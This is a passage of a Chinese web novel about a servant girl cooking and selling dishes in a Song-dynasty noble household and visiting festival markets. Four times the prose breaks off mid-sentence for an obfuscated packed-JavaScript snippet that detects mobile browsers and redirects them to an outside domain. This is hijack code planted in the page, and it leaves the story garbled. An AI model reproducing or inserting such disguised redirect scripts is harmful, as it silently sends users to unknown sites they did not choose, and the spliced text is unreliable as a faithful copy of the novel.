也亏得她当机立断,几个姐儿都没让周大娘子教养。 安抚了几句,宫里的人总算过来,赏赐和以往的没什么两样,一应东西像是流水一样,看的人眼花。 周大娘子和钱大娘子两个人分别给了内侍赏钱,旁敲侧击的问了宫里的娘娘。 两个人不对付,可这时候关心的事情都一样。 等内侍一走,周大娘子就似笑非笑的看着钱大娘子,“我当你一心让女儿奔前程,原不知你还是个慈母心肠。” 这话说的严重,钱大娘子脸立刻就耷拉下来,“大嫂这说的话什么话,好像宫里是什么龙潭虎穴似的,我不过寻常问一问,大嫂却像是榴姐儿在宫里受了多大委屈似的,这要让官人知道了。” 周大娘子就要反驳,那边老太太已经皱眉摆手,两个人一看,立时都不敢再说。 老太太呆了一会儿就说乏了,让她们小辈留下来继续热闹,早早就回了院子。 何娘子等老太太走了,才长长舒了一口气,也不管别人怎么在那边打机锋,自顾自的找了爱吃的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230523|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还是昌哥儿娘是个有福气的。”方才没说痛快的钱大娘子喝了杯子里的酒,看着何娘子吃的那么香,不咸不淡的开口。 周大娘子一下子把目光落在何娘子身上,看看她又看看吴娘子,最后狠狠的剜了一眼钱大娘子。 林杏月早上起来,想着左右她不当值,收拾好了就打算出府逛一逛。 家里屋顶多年未修,每次外面下大雨,里面就会下小雨。 如今手里存了钱,林杏月就打算出去找人来修一修。 出了府,沿着河两岸走去,能看到大大小小许多船只来往。 各种酒肆食店门前也人来人往,林杏月一边走一边看,先看到的是将作监,这主要是负责官署或者城墙修缮的,他们一般人也请不起。 再往前走上不远,就能看到一些团行,林杏月进去问了问,倒是有能上手的泥瓦作。 工钱却不便宜,一天就要二百个大钱,林杏月盘算了一下这些日子攒的,打算从冯大娘那私房钱里拿出来。 说好了要去家里的时辰,林杏月就先付了三十个大钱的押金,让这些泥瓦作准备准备,她先去外头吃西京豆腐。 这家西京豆腐是个老字号,据说快有八九十年的历史,一早来这里吃的人就很多,林杏月伸着脖子看过去的时候,就见摊子上摆着各种不同的酱汁可以加。 轮到林杏月了,三种酱料她都要了尝一尝,又去隔壁摊子上要了一份馄饨带回去,林金兰今儿也在家里休假,这是给她捎带的。 西京豆腐不愧是老字号,豆腐外面煎的金黄黄的,口感脆脆的带着一股子焦香,里面的豆腐依旧是嫩滑。 糖醋汁酸甜可口,酱汁浓香味美,豉汁咸香鲜美,林杏月吃完也不知道该说哪个好,干脆又买了两份,打算让张婶娘和玉姐儿也尝一尝。 想了想,要是回头冯大娘知道大家都有,偏就没有给她买,肯定是要闹腾的,干脆又带了一份。 汴河两岸来往穿梭的船只可不少,有在船上叫卖的,也有正准备扬帆起航的,虹桥上面人来人往,有挑担子的货郎,有包着头巾的娘子,还有前呼后拥出行的达官贵人坐着小轿。 林杏月吹着风慢慢吃着,坐在她前面的那个官人叫住一提篮卖东西的娘子,打开看了看就问了价钱。 林杏月一边吃一边好奇的伸长脖子,只听见这提篮娘子是卖獐巴的,一斤就要一百多个大钱。 她打量着那肉脯,很想尝尝这獐巴到底是个什么味道,想着以后有钱了,说什么也要买上一些。 提着东西回了后街巷的时候,林金兰还没有睡起来,被子不知道被她蹬到哪里去,只露着里面穿的小衣。 看看太阳,这都快到晌午了,林杏月忍着不去叫她,去院子里洗衣裳。 不大一会儿,门口就传来了敲门声,林杏月应了一声,过去打开门就看见黄婆子和徐勇。 两个人吃了董婆子做的馓子羹,都觉得没有吃饱,一合计,便过来林杏月这里讨要些吃食。 “也不用甚麻烦,家里有什么,就给我们两个做些来。” 黄婆子和徐勇都有些不好意思,明明林杏月在休息,他们还过来打扰。 林杏月不知道晌午的时候,厨房那边做的什么吃食,不过既然有上门来的生意,她也没有往外推的道理。 “正好家里做了茶叶鸡子,已经入了味儿,你们可要尝一尝?” 两个人一听,赶紧点起头来。 虽然他们也不知道,那茶叶鸡子是什么,为什么鸡子还能和茶叶放在一块。 22. 第二十二章 等林杏月把茶叶鸡子递给他们,一人尝了一口之后,都不由得竖起了大拇指。 “这个茶叶鸡子的味儿,是真不错。” 和普通的鸡子相比,茶叶鸡子的确是要更入味一些,蛋白部分变得软弹好吃,蛋黄依旧沙沙的,带着些许茶叶的清香。 而且不知道是不是因为晌午吃的那汤羹没有吃饱,两个人觉得这茶叶鸡子也十分的顶饿。 两个人正吃的高兴的时候,门口又出现一老汉,就是先前买了林杏月做的那腌菜的冯老汉。 酱八宝还没有好,不过醋萝卜和笋丝却是给了这冯老汉不少,才几天的功夫,他们一家人就都吃的干干净净。 冯老汉今天过来,本来只是想再买些腌菜回去,可见黄婆子和徐勇在这里,手里还拿着一个酱褐色的东西在吃,就知道这是林杏月新做出来的吃食。 “好啊你们两个,我说怎么早早的就从小厨房跑了,原来是来这里吃好东西。” 他说完,就去看徐勇手里的那个茶叶鸡子,问了是什么之后,就说也要一个。 林杏月之前做了不少茶叶鸡子,从锅里捞了两个出来,热乎乎的鸡子直接递给了冯老汉。 “好吃。”冯老汉咬了一口就点头,还不停的说再来几个茶叶鸡子,他要带回去。 “还有那笋子和醋萝卜,也给我再带上一些。” 这两样林杏月家里就有,去拿的时候,顺便把豆腐乳也拿了出来。 毛豆腐沾满盐之后放在坛子里,差不多已经发酵了两个月左右,林杏月早上打开的时候,见已经能吃了,就问冯老汉要不要。 冯老汉没有见过这东西,看起来,就有些迟疑。 林杏月也不瞒着他们,“说起来,这个味道倒不是人人都能吃得惯的,吃起来略带一些臭味。” 黄婆子和徐勇使劲嗅了嗅,闻到了毛豆腐若有若无的臭味。 “让我尝一尝。” 徐勇十分的信任林杏月,要是不好吃,林杏月肯定不会做了来。 就是臭,也有臭的道理。 见他就这样直接吃了一口,黄婆子和冯老汉就在旁边催促着徐勇,“到底什么味儿,好吃不好吃?” 徐勇咂摸了几下嘴,点点头说,“刚开始入嘴的时候,的确是有一股怪味儿,可没吃几口下去,就越嚼越香,有豆子的味道,也有酒的香气,恨不得再夹一筷子吃。” 林杏月就在一旁笑,徐勇说的,可不正是那豆腐乳的口感。 黄婆子一听,也赶紧夹了一筷子,她的表情也从微微皱眉到完全舒展开,竖了大拇指,“月姐儿,也不知道你这脑子是怎么长的,怎么就能做出来这么些许好吃的?” 冯老汉不再犹豫,赶紧让林杏月给他装上几块,“还有那些笋丝、醋萝卜、茶叶鸡子,可不要忘了给我装。” “我也要来一些,等我去找个大碗来。” 黄婆子家就在门口,她急匆匆的就回去,又急匆匆的过来,生怕晚一会儿东西就没了。 林杏月当时做豆腐乳的时候,就密封了好几罐子,一时半会儿可吃不完。 正巧,从外头请来的泥瓦作也过来了,冯老汉和徐勇就没着急走,在旁边帮着盯着他们干活。 总是让林杏月做好吃的来,他们心里也不得劲呢。 冯老汉似乎还有些懂行,这些泥瓦匠哪里做的不好,他还能说出个四五六来。 那些泥瓦匠本来想着林杏月是个小娘子,还有心想着好糊弄,再不曾想身边有这样老道的手艺人,做的就比之前认真了许多。 徐勇虽然不知道这里面的道道,只他往那里一站,圆圆的身子就够唬人的。 冯老汉等泥瓦匠从房顶上下来,还专门上去看了一眼,下来对林杏月说,“他们是用了心的,往后这屋顶应该不会再漏了。” 一个年轻的泥瓦作就开口,“这么些个人盯着在,又有懂行的,咱们哪里敢糊弄,那不是要自砸招牌。” 这样的天,秋老虎正热的厉害,一行人站在大太阳底下,都热的满头是汗,林杏月就去屋里拿了茶叶鸡子出来,一人递了一个,又让他们喝了些熟水,歇够了他们才散。 林杏月也没忘了冯老汉和徐勇,额外又给他们装了不少的东西,两个人嘴里道着谢,这才慢悠悠的出门。 林金兰是刚才修房顶的时候被吵醒的,她揉着睡眼惺忪的眼,不满的在那里嘟囔。 林杏月懒得搭理她,转身又继续去洗自个儿的衣裳。 等林金兰清醒过来的时候,林杏月已经洗完了衣裳,正在一件件的晾晒。 林金兰先问了泥瓦作的事情,说完又抱怨,“月姐儿,你洗衣裳怎么也不叫我一声,我身上的这小衣还没有洗。” 林杏月回头看了她一眼,让她自己洗两下,“什么时候小衣让别人洗过了,不都是自己洗的。” 林金兰眼睛瞪大,“可上次初一我休假的时候,娘就让我给她洗了!” “那是你们两个的事,等下次娘洗衣裳的时候,你让她给你洗便是。” 林金兰这才不说话,使劲闻了闻空气中的香味,问林杏月做了什么好吃的。 一觉睡到这个点,她肚子早就饿得慌了。 林杏月用下巴指了指厨房,“里面有一碗馄饨,在锅里面热着呢。” 林金兰一听,眼睛立刻弯起来,急忙慌的过去,掀开锅盖就闻到了馄饨的香味,她也不怕烫,拿了筷子就夹起一个放在嘴里,腮帮子立刻就鼓了起来。 馄饨最好吃的地方就是外面那层爽滑的外皮,咬开之后里面便是馅料的鲜美口感,每一口都很有嚼劲,还有的会流出汤汁来,吸一口才是让人恨不得吞下舌头来。 林金兰一边斯哈着一边咽了下去,瞧见林杏月提着东西往外走,就问她要去哪里。 “去婶娘家里。” 张婶娘刚从外头回来,回来先问了请泥瓦作的事情。 “可是自儿个花的钱,你手里可还够用?” “不是,是拿的我娘手里的钱。” 张婶娘就捂了嘴笑。 她还不忘今儿个七夕,取了烧好的泉水出来,让姐妹两个过来洗头。 旁边小桌子上摆放的就是木槿叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230524|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,张婶娘一边给她们兑水,一边唠叨着她们太辛苦了,可得好好洗洗。 林金兰打着哈欠,她是怎么睡也睡不够的,“要不然明儿再洗,我还想出去玩。” 林杏月也想出去,再说她才洗了头,也不觉得脏。 张婶娘不同意,“就得今儿个洗了,这样才能得了织女的祝福,早点找到如意郎君。” 一说这个,林金兰眼睛就亮了,也不抱怨别的,散了头发就得洗,“倒是忘了这个事儿,我听说外头还有小娘子回去放荷花灯,早知道咱们也去外面热闹热闹。” 林杏月戳破林金兰臆想,“你说织女好好一个仙女,被偷了衣裳嫁给一个放牛的,这就是好姻缘了?” 林金兰从来没这么想过,在原地呆住了,另一边的玉姐儿正吃着巧果,听了这话也忘了把巧果往嘴里送。 “月姐儿,你怎么这样说。”张婶娘本能的辩驳道,可也不知道该怎么解释。 林金兰听了之后,说什么也是不洗了,她当小娘也是想过好日子,可不是想嫁给牛郎去放牛。 最后三个女娘谁也没有洗,林杏月怕张婶娘不高兴,就说明儿一早就过来。 “没事,就像你们说的,要真是好好的仙女嫁给牛郎那样偷衣裳的,的确没什么好祈福的。” 张婶娘倒是想得开,还让她们明儿不用早早过来,“总要睡饱了。” 说完这个,张婶娘没忍住叹了一口气。 林杏月看出来了,和张婶娘玉姐儿说了有好吃的西京豆腐,就问道,“是不是遇到难缠的客人了,如何这样怏怏的。” “那倒没有。”张婶娘进了屋子,把收上来的铜钱都倒了出来,哗啦啦的铺在了桌子上,一边数一边说,“我们从和丰楼出来的时候,碰到玉姐儿爹了。” 林杏月也坐下来帮着数钱,听到张婶娘的话就看了看玉姐儿的神色,有些担忧的问,“宋叔这是什么时候回来的?” “谁知道,不过瞧见是正在街上买绒花,那哪里是给玉姐儿戴的。” 张婶娘也不避讳玉姐儿,早晚得让她知道,“原先说是在相看人家,可谁也没看上,背地里和那浆洗房的钱婆子有了首尾!我上次见了玉姐儿爹还问他,他还不认,今儿买了绒花就巴巴送过去,不知道多少人都看到了。” 那个钱婆子和冯大娘的名声一样都在外,可不是个好惹的,冯大娘是因为好吃懒做,生的女儿也是厉害的才出名。 这钱婆子却是总和其他汉子有首尾,让人娘子找上来才出的名。 她先前嫁给了府里的马夫,后来那汉子不知道怎么死了,她这才守了寡,后来偷的那几个汉子都没成,就一直守到如今。 也不知道是怎么和宋更夫勾搭在一块儿的。 玉姐儿一直憋着眼泪,她也害怕她爹再找了人进门,到时候她和她哥的日子可不好过。 谁知道情况比她想的还糟糕,找的是这样一个厉害的人物。 宋石头先前出了府去办事,一时半会儿回不来,玉姐儿心里更没着落。 偏天要下雨,爹要娶新娘,谁也拦不住。 23. 第二十三章 “别怕玉姐儿,你还有咱们。”林杏月摸了摸玉姐儿的头,“今儿个和我一块儿去睡,晚上给你做好吃的。” 玉姐儿不想让林杏月跟着担心,强打着精神点了点头。 张婶娘挤出来笑,和林杏月说起来街上热闹的情况,“七夕后面就是中元节了,原先卖巧果和果实将军的,就都换成了花瓜和麻谷鸡冠花。” 中元节是大节日,比清明节还要热闹一些,街市上各种冥器也开始卖起来,还有小娘子头上戴的茉莉,身上佩戴的艾草香囊的,也有走街串巷挑着卖穄饭的…… 林杏月双眼发亮,想着难得有休息的时候,怎么也要出去逛一逛。 “我早上去吃西京豆腐的时候,怎么就没瞧见?”林杏月懊恼。 “哪里有早上就开始卖这个的,这还不算热闹呢,等到了正日子,那才是热闹的很,街上的勾栏里会唱鬼戏,还有鬼王喷火呢!僧人也会在街巷中诵经,城隍庙那边打醮的时候是人挨着人。” 张婶娘嘴上功夫厉害,说的林杏月更想过去看一看,就问张婶娘还去不去。 “你们小娘子过去转一转就是,难得休息,也别在家里呆着,我就不去了。” 张婶娘说完,还给林杏月摸出来一把钱,“看到什么想买的,也别吝啬。” 玉姐儿不想去,靠在张婶娘身边出神,林杏月只好问了她想要什么。 “我想吃个糖画,要关羽的。” 林杏月点头,“姐姐回头就给你带回来。” 林金兰看见那一把钱,眼睛就亮了,“一会儿我要买个茉莉花,要特别香的那种,再买个荷包,我的这个都旧了。” 姐妹两个去了最热闹的汴河两岸,果然见来往的人多了起来,比先前的七夕还要热闹几分。 她们两个一路走一路逛,见食摊上已经有卖桂花酒和菊花茶的,想着她们府上的菊花虽然还没有开,但是桂花已经开起来,老远就能闻到香味。 勾栏里的戏她们没有去看,根本挤不到前面去,林金兰脚上的鞋还不知道被谁给踩到了,气的她当场就破口大骂起来。 好在人声鼎沸,林金兰的叫骂声也没有引来多少人围观,只一个穿着破破烂烂的老丈人听到了,让林金兰嘴上积点德。 眼看着林金兰又要暴起,林杏月赶紧把她拉走,生怕林金兰一会儿把那老丈人再打一顿。 “真是多管闲事!”走远了,林金兰还在骂骂咧咧,“我这双鞋上面可是花了我半个月的月钱,平日里都舍不得穿的。” 说着说着,林金兰还委屈起来。 林杏月赶紧转移话头,指了前方官差搭的台子问林金兰,“姐姐,这台子搭这么高是做什么?” “不知道。”林金兰仰着头看了一会儿,也不知道是要做什么。 旁边一个大娘就热心的开口给她们解释,“这是官府施米用的台子,到时候抢了回家吃,可以保平安,小娘子到时候可以早点过来占个位置。” 两个人这才知道,谢过了大娘,继续转下去。 晌午就是在街上吃的,两个人没要那专门给中元节准备的中元席,吃的是馉饳。 林金兰还想要吃鹅鸭签,可惜钱都被买了零零散散的小东西,别说鹅鸭签了,就是连血羹也吃不起。 不过馉饳里面的肉沫和鲜菜不少,面片也多,配着芫荽倒是吃的热气腾腾,两个人眼见着天黑了,这才往回走。 林杏月回去还惦记着糟笋干,先把笋子削皮,用冷水浸泡起来,做的时候就开始打哈欠。 实在瞌睡的不行,林杏月就让林金兰和冯大娘帮着做,她先去洗漱睡下,其他事情一概都丢到脑后,一直到第二天早上才醒。 林金兰和冯大娘为了糟笋干那一口吃的,倒没人躲懒,还互相监督着。 一个想做好了给扫地的那两个粗使丫鬟吃,一个想着给园子里一块儿干活好姐妹吃,两个人一直干到半夜,眼睛实在睁不动了才停下,互相搀扶着回了房。 林杏月早上起来一看,见笋子都已经削好了皮,还给放在冷水里泡发好了,就直接捞出来放在一旁备用,觉得那娘儿两个难得有这样靠谱的时候。 这时候冯大娘她们还没有醒,正好轮到林杏月倒夜香,她便早早出了门。 倒夜香的人通常来的都很早,各院的三等丫鬟会轮着过来倒,林杏月就碰到好几个眼熟的丫鬟。 七夕过了,之前说好要放出去的几个大丫鬟也都要有动静了,只要进了人,原来的三等丫鬟就能往上提一提。 林杏月和这几个眼熟的丫鬟点了头,听着她们说什么时候府里才会有动作。 “估摸着周大娘子有了精神,就会让人进来了,你们院子里谁提成二等丫鬟,可是说了?” “没听说,不过周大娘子院子里都说是绿夏姑娘要升成一等丫鬟,她老子娘早就在外头说起来,可是得意的很。” 林杏月听了一耳朵,很快就抛到脑后面,回去先找张婶娘洗了头,就开始做糟笋干。 酒糟是张婶娘给买回来的,买了还不少,林杏月打算一会儿再试着酿一些荷花酒出来。 糟笋干要想好吃,一是笋子要用冷水提前浸泡,二是糟卤要做的香才行。 林杏月把锅里面放了水,把蜀椒和舶茴香①放在锅里,加入一些盐和糖,煮沸之后再等着冷却,放入酒糟里面,糟卤就制成了。 冯大娘披着衣裳起来的时候,林杏月已经把笋子放进了糟卤里,腌在了罐子里头。 “好女儿,可是累坏了吧?”冯大娘脸都笑到了一块儿去,“这糟笋干什么时候就能吃了?” “还得等等,怎么也要十来天。” “这么久。”冯大娘有些失望,她还以为腌制了就能立刻吃,这样还不如那酸辣笋丝,凉拌一下就能吃。 冯大娘眼下面都是乌青,听了之后神色也萎靡起来,摇摇晃晃的出了门,心里想着怎么和园子里的几个婆子说。 不说各个房子的丫鬟累的不行,就是何娘子和吴娘子两个人也比平日里起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15230525|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得晚了,尤其是何娘子,像是身上卸下什么重担似的,睡醒人都活泛了过来。 王妈妈看何娘子醒来就迫不及的要去交差的样子,只得先提醒何娘子给吴娘子送一份谢礼。 她可是听说了,周大娘子和大老爷昨儿个不知道因为什么又闹了起来,这时候过去可不就是当撒气包。 何娘子想了想,觉得吴娘子平日里虽然不愿意和她来往,但昨儿个的确是帮了她,她只是不知道怎么回嘴,又不是傻的,自然知道好歹。 想了一圈,也不知道该给吴娘子送什么,何娘子就让王妈妈拿主意。 王妈妈也犯难,吴娘子门第高,该有的东西绝对不少,说不定还看不上她们这里送过去的东西。 两个人对着发愁,何娘子说,“要不送弟妹个送子观音?她不是正好没有生养,求一求说不得有用。” 王妈妈脸色有些一言难尽,要不是她在何娘子身边跟了许多年,还以为何娘子这是故意恶心吴娘子呢。 最后,何娘子听了王妈妈的劝,让身边的丫鬟去赵家从食店买了些点心回来。 汴梁城里的点心铺子不少,但能数的上的,赵家从食店算是一个,何娘子往日里没少在这里买了点心打牙祭。 王妈妈也没其他好主意,送点心总不会出错,她就亲自拿着一匣子糕点送了过去。 吴娘子身边的戴妈妈忙过来接着,两个人脸上都笑盈盈的,说的话却是不咸不淡,好歹没让话掉在地上,等送走了王妈妈,戴妈妈才回了屋子去给吴娘子送信。 “我这嫂子也是个有意思的。”吴娘子拿起来其中一个点心看了看,是做工精致的枣栗糕,外皮薄如蝉翼,能看到里面的馅儿。 蒸熟之后的枣子很是香甜,板栗又粉粉糯糯,枣香栗子香交织在一起,口感十分的丰富。 吃点心就得配茶,吴娘子没出嫁的时候,在家里常吃的是龙凤团茶,来了国公府之后,跟着二郎君一块儿经常吃白茶,拿出来配枣栗糕倒是正好,可以来解腻。 她也没让点茶的丫鬟进来,就这样直接吃了一碗。 戴妈妈见吴娘子心情不错,凑趣说,“好歹何娘子知道您对她的好,不是那等不懂礼数的。” 又说起来前几天落水的冯大娘,“说来还没有给她赏,听说这几天一直领着园子其他婆子好好干,让人连竹子里的笋都挖的干干净净,是个眼里有活的,昨儿个才没落了咱们的面子。” 昨儿个乞巧的时候,按惯例是去的园子,西府二房的石娘子又想鸡蛋挑骨头。 偏偏园子里收拾的很是干净,荷叶上半片枯萎的叶子都没有,冯大娘几个人正勤勤恳恳的撅着屁股在竹林里面干活。 石娘子没得逞,脸都憋红了,吴娘子今儿心情不错,和石娘子也有干系。 听了戴妈妈的话,吴娘子随手挥了挥,她手面宽的很,“妈妈看着给就是,这等事情不用和我来说。” 戴妈妈就不再说这事儿,只抽空让身边的小丫鬟拿了一把钱去给冯大娘。 24. 第二十四章 林杏月收拾妥当后,就去了小厨房,昨儿个虽然说是休息,可又是修屋顶,又是去外面逛的,比平常还觉得累一些。 一路上,她都觉得没什么精神,走了没几步就碰到几个眼生的小娘子。 “月姐儿,你这是要去当差了?” “今儿个,是不是就能吃上你做的饭了?” “哎呦,你才歇了一天,咱们就已经开始想你想的很,这以后可是离不了你了。” 一个大娘模样的人,还拉着林杏月的手,说要给她一些茶末,“看你脸色,还是没多大精神,想着也是最近太累了!” 林杏月才要说话,大娘就笑眯眯开口,“没事,回头喝了这些茶末就有精神,又能给咱们做饭了。” 林杏月:…… 她谢了大娘,把那茶末给收了。 好意可不能不领。 一路上,碰到林杏月的人,都会和她打招呼,再问一问她的是不是要做饭了。 林杏月从来没有觉得,去小厨房的这一路上能遇到这么些个人,个个脸上都带着笑和她说话。 就连小厨房门口也有人等着,看到她过来,还在那边激动的蹦着,回头就和认识的人说林杏月来了,喊的声音还特别的大。 董婆子往外张望了几眼,看到这情况,脸色就黑了下来。 她昨儿个做饭,可没遇到这种情况。 不,可以说从她在小厨房当差开始,就没有受到这样的待遇。 那么些个人,是恨不得把林杏月给供起来。 董婆子收回目光,耷拉着脸回了屋子,把帘子甩的啪啪响。 林杏月当没看见董婆子这样,一到小厨房,胡娘子和辛嫂子就都凑了过来,围着她说话,问她可是歇好了。 这般的热情,林杏月只抿嘴笑了笑,昨天虽然没在小厨房吃饭,可看黄婆子和徐勇那个样,多少也能猜出来一些。 果然,胡娘子就没忍住开口,“你才歇了一天,咱们却觉得昨儿个真真是难熬。” 说完,就见不远处董婆子的脸色又难看了几分,小声嘟囔骂了几声,“真是一群孬货,什么好的也没吃过,有什么好稀罕的。” 她昨儿个做的那馓子羹,那可是用鸡骨熬出来的,这些人就是给他们吃肉,也都吃不出个好来。 骂完,董婆子心情就好了许多。 赵嬷嬷见人都来齐了,盘点了一下董顺家给他们采买的东西,回来安排吃食的时候,她的脸色就不大好看。 “这真是不把咱们放在眼里,先前去给她要些葱,她也不给,这次直接给咱们那贱肉!” 赵嬷嬷很少说出重话来,大多数情况下她都是板着脸,一言不发。 能让她这样气愤,实在是董顺家的,做的有些太过火了。 不知道是不是听了最近府里的那些谣传,董顺家的就觉得小厨房有些太得意。 不过就是一个给丫鬟婆子这些下人做吃食的地方,瞎讲究什么。 从前给肉食,董顺家的还会给一些羊肺羊杂这些,多少能让他们解个馋。 再不济,也就是拿了猪骨去熬个汤,做些汤饼吃。 这次可是直接给的猪肉,没有骨头,肥瘦相间,这可怎么吃。 董婆子看见了,也顾不得和林杏月还在置气,就和赵嬷嬷商量,“要不咱们直接炸猪油出来,晌午还吃豆粥。” “回头董顺家的,就能说咱们把肉都给贪了,等着抓咱们一个错处,再把咱们革了职。” 胡娘子骂骂咧咧,恨不得给董顺家的扎小人。 见大家这样发愁,林杏月想了想,出声说,“要不,就让我来试试?” 赵嬷嬷和董婆子还没开口,胡娘子和辛嫂子的眼睛就都亮了,“月姐儿,你可是又想到什么好的吃食了?” 赵嬷嬷也看了过来,眼带着几分希望,林杏月想到后世那么些个用猪肉做出来的美食,就点了一下头。 这几年虽然大家都还看不上猪肉,也不会怎么做,可阉割技术已经有了,那股子腥膻的味道已经小了很多。 林杏月把猪肉拿过来之后,就开始清洗,再把肉切成一小块一小块的。 再之后,把切成小块的肉放到冷水里,大火煮开,把浮沫撇去。 等水分沥干之后,在锅里面放了少许的油,慢慢的把肉放进去,煎到四面金黄再盛出来。 旁边的胡娘子和辛嫂子都在帮着打下手,就连董婆子也时不时的往这边看上几眼。 酒焖肉最重要的就是炒糖色和底料,林杏月把葱段、姜片、蒜、花椒等等放进去炒香,再把煎好的肉块也都倒进去,加入一些豉汁和黄酒。 又蒸了一锅的粟米饭,到时候就用这酒焖肉配着粟米饭吃,保证香喷喷。 看她这个样子,董婆子没忍住说了两句,“这可不是你逞能的时候,到时候要是做了不好吃,先前那些夸你的人,转头就能骂死你。” 这也算是一句实打实的忠告,林杏月就朝她笑了笑,“多谢嬷嬷提点。” 董婆子一脸吃瘪的表情,把头扭了过去,“你可别多想,我才没有劝你的意思。” 这个模样,和松姐儿多少有些相似,让人看了哭笑不得。 就连赵嬷嬷的唇角也勾了勾。 没过多大会儿,小厨房里面就传来了一股浓烈的香味,让其他在准备饭食的人都停下了动作。 “这味道可真是香的很!” 外头排队的人来了就先问是谁掌勺,等闻到香味了,连问也不用问。 除了林杏月,谁还能做出来这么香的吃食。 现下,他们迫不及待要问的就是,林杏月这是做了什么出来。 “做了什么也不是这时候吃的,那是晌午炖的肉。” 胡娘子给他们舀豆粥的时候,随口这么一说,人群却都炸开了锅。 “这也太香了些,是不是羊肉,可够咱们这些人吃的?” “哎哟,我闻着不像羊肉,但是甭管是什么,怎生这样香!” “是啊,搞得我肚子里的馋虫都出来了!” 一群人在那里闹闹腾腾的说着,都在心里打定主意,晌午的时候一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15230526|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要早早的过来。 都这样想,再互相看看排队的人,一时觉得担忧起来,生怕晌午的时候不能早早来。 喝豆粥的时候,他们这些人也仔细的闻着空气中那飘出来的香味,食欲都比往常好了几分。 这次小厨房的人都有了之前的经验,豆粥在抬出去之前就留了一些出来,生怕外头的一点儿也不剩,他们忙碌一早上再饿了肚子。 冯老汉听说这消息之后,就打算一会儿早早的去告个假,这样肯定能排在前头。 他眼神在黄婆子和徐勇身上来回扫了一下,这俩人动作都是快得很,不请假还真抢不过他们。 冯老汉打了豆粥就往回走,有熟识的人就叫住他,“怎么今儿个不在这里吃饭了?” 来小厨房吃饭的人多了之后,原本的桌椅凳子都不够坐的,有的人不愿意再拿回去多跑一趟,干脆就站着或者蹲着吃。 也有的不嫌麻烦,每次都拿着提盒提回去慢慢吃。 冯老汉倒不是觉得站着或者蹲着如何,只是他想带着豆粥回去,配着昨儿个拿回来的豆腐乳一块吃。 想着一口粥,一口豆腐乳,那滋味让他脸上的笑意都大了几分。 徐勇是不回去的,他昨个在家里就待了一小会儿,急忙又回了库房那边,这次就把豆腐乳给带了出来。 黄婆子看到了,也笑嘻嘻的把自个儿带的一个碗拿出来,里面赫然就是一块发白的豆腐乳。 两个人相视一笑,开始就着豆粥吃。 “还有昨个那个茶叶鸡子,可真是香的很,要是早上的时候配个那鸡子,日子真是赛神仙了。” 旁边的大小王嬷嬷一直竖着耳朵听他们两个说话,乍一看两个人眼前还摆着个碗,里面放的可不是小厨房做出来的盐豉,就知道肯定是从林杏月那里买来的。 两个人看了好几眼,也不知道那是什么,总觉得看起来不像是太好吃的样子。 可偏偏徐勇和黄婆子两个人吃的津津有味,两个人看了一会儿,没忍住就坐了过来。 “这是什么?”小王嬷嬷开门见山的问,“味儿怎么样?” 徐勇把自己的豆腐乳往前推了推,让小王嬷嬷尝一尝,“这是我家月姐儿做出来的豆腐乳,一个铜板一块,味道好得很,嬷嬷你尝尝。” 他知道林杏月做了好几罐子的豆腐乳出来,这是在帮她宣扬。 小王嬷嬷果真拿了筷子,夹了徐勇没吃过的一边,尝了一小口。 入口先是一股咸香,慢慢的在嘴里化开之后,变成了一阵的豆香,最后收尾却又是一股子酒香。 不过是一小块豆腐,里面味道就这样丰富,小王嬷嬷吃完就喝了一口豆粥,忍不住点起头来。 “回头我也要去找月姐儿。” 大王嬷嬷也尝了一口,这时候就跟着点头,难得的开口,“是不错。” 那边胡娘子可是一直盯着大小王嬷嬷看,见两个人去徐勇那边吃了一小块的什么东西,就不住的点头,心里就好奇起来。 看起来是个新鲜的吃食呢,味道肯定好。 25. 第二十五章 小厨房里,林杏月也在给大家伙儿分带过来的豆腐乳,每个人的小碟子里放上了几块,说是自个儿新做出来的。 “你们回头尝一尝,要是想吃,再来找我要。” 几个人看了看那豆腐乳,也是先尝尝味道,再之后就一个个的竖了大拇指。 “这可是又沾咱们月姐儿的光了。” 